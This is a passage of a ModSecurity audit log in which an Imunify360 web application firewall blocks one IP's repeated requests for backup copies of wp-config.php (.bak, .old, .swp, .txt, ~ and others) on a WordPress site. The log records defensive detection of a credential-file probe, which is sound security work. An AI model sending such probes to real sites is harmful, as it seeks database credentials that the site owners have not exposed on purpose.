Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZrqUwu1RSkptiiNIX4WgAAAIA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZrqUwu1RSkptiiNIX4WgAAAIA"]
Action: Intercepted (phase 2)
Stopwatch: 1789291433736103 64913 (- - -)
Stopwatch2: 1789291433736103 64913; combined=59735, p1=547, p2=58689, p3=0, p4=0, p5=499, sr=220, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9d2d026a-Z--
--fed81934-A--
[13/Sep/2026:12:23:54.755822 +0300] aqZrqmM7dE9KgIIOpQh0mQAAANM 36.77.210.5 48076 127.0.0.1 7081
--fed81934-B--
GET /wp-config.php.orig HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--fed81934-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--fed81934-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqZrqmM7dE9KgIIOpQh0mQAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqZrqmM7dE9KgIIOpQh0mQAAANM"]
Action: Intercepted (phase 2)
Stopwatch: 1789291434695117 60755 (- - -)
Stopwatch2: 1789291434695117 60755; combined=59471, p1=238, p2=58807, p3=0, p4=0, p5=425, sr=118, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fed81934-Z--
--c279012f-A--
[13/Sep/2026:12:23:55.730118 +0300] aqZrq0wu1RSkptiiNIX4WwAAAIw 36.77.210.5 47562 127.0.0.1 7081
--c279012f-B--
GET /wp-config.php.txt HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--c279012f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c279012f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZrq0wu1RSkptiiNIX4WwAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZrq0wu1RSkptiiNIX4WwAAAIw"]
Action: Intercepted (phase 2)
Stopwatch: 1789291435673286 56885 (- - -)
Stopwatch2: 1789291435673286 56885; combined=55417, p1=348, p2=54681, p3=0, p4=0, p5=387, sr=137, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c279012f-Z--
--704d9b65-A--
[13/Sep/2026:12:23:56.828199 +0300] aqZrrEwu1RSkptiiNIX4XAAAAJM 36.77.210.5 47564 127.0.0.1 7081
--704d9b65-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--704d9b65-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--704d9b65-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZrrEwu1RSkptiiNIX4XAAAAJM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-23.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZrrEwu1RSkptiiNIX4XAAAAJM"]
Action: Intercepted (phase 2)
Stopwatch: 1789291436764264 63990 (- - -)
Stopwatch2: 1789291436764264 63990; combined=56580, p1=372, p2=55800, p3=0, p4=0, p5=407, sr=126, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--704d9b65-Z--
--a3346f7f-A--
[13/Sep/2026:12:25:00.623356 +0300] aqZr7Ewu1RSkptiiNIX4ZgAAAIo 36.77.210.5 43170 127.0.0.1 7081
--a3346f7f-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--a3346f7f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--a3346f7f-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZr7Ewu1RSkptiiNIX4ZgAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZr7Ewu1RSkptiiNIX4ZgAAAIo"]
Action: Intercepted (phase 2)
Stopwatch: 1789291500558344 65076 (- - -)
Stopwatch2: 1789291500558344 65076; combined=63767, p1=257, p2=63187, p3=0, p4=0, p5=322, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a3346f7f-Z--
--936b1a26-A--
[13/Sep/2026:12:25:06.451554 +0300] aqZr8mM7dE9KgIIOpQh0qAAAANU 36.77.210.5 48470 127.0.0.1 7081
--936b1a26-B--
GET /wp-config.php.save HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--936b1a26-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--936b1a26-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZr8mM7dE9KgIIOpQh0qAAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZr8mM7dE9KgIIOpQh0qAAAANU"]
Action: Intercepted (phase 2)
Stopwatch: 1789291506374302 77394 (- - -)
Stopwatch2: 1789291506374302 77394; combined=62650, p1=380, p2=58255, p3=0, p4=0, p5=4014, sr=160, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--936b1a26-Z--
--74b6836b-A--
[13/Sep/2026:12:25:13.552490 +0300] aqZr@Uwu1RSkptiiNIX4aAAAAJc 36.77.210.5 48496 127.0.0.1 7081
--74b6836b-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--74b6836b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--74b6836b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZr@Uwu1RSkptiiNIX4aAAAAJc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZr@Uwu1RSkptiiNIX4aAAAAJc"]
Action: Intercepted (phase 2)
Stopwatch: 1789291513490428 62103 (- - -)
Stopwatch2: 1789291513490428 62103; combined=60655, p1=317, p2=60023, p3=0, p4=0, p5=314, sr=162, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--74b6836b-Z--
--b7435307-A--
[13/Sep/2026:12:25:19.219819 +0300] aqZr-0wu1RSkptiiNIX4agAAAJY 36.77.210.5 33710 127.0.0.1 7081
--b7435307-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--b7435307-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--b7435307-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZr-0wu1RSkptiiNIX4agAAAJY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZr-0wu1RSkptiiNIX4agAAAJY"]
Action: Intercepted (phase 2)
Stopwatch: 1789291519160348 59549 (- - -)
Stopwatch2: 1789291519160348 59549; combined=57010, p1=476, p2=56051, p3=0, p4=0, p5=483, sr=235, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b7435307-Z--
--9e6f6d18-A--
[13/Sep/2026:12:25:55.333826 +0300] aqZsI2M7dE9KgIIOpQh0sQAAAMg 36.77.210.5 51000 127.0.0.1 7081
--9e6f6d18-B--
GET /wp-config.php.txt HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--9e6f6d18-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9e6f6d18-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZsI2M7dE9KgIIOpQh0sQAAAMg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-25.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZsI2M7dE9KgIIOpQh0sQAAAMg"]
Action: Intercepted (phase 2)
Stopwatch: 1789291555270929 62939 (- - -)
Stopwatch2: 1789291555270929 62939; combined=61496, p1=271, p2=60910, p3=0, p4=0, p5=314, sr=118, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9e6f6d18-Z--
--1c872d28-A--
[13/Sep/2026:12:26:16.102604 +0300] aqZsOGM7dE9KgIIOpQh0uAAAANg 36.77.210.5 46390 127.0.0.1 7081
--1c872d28-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--1c872d28-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--1c872d28-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-26.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
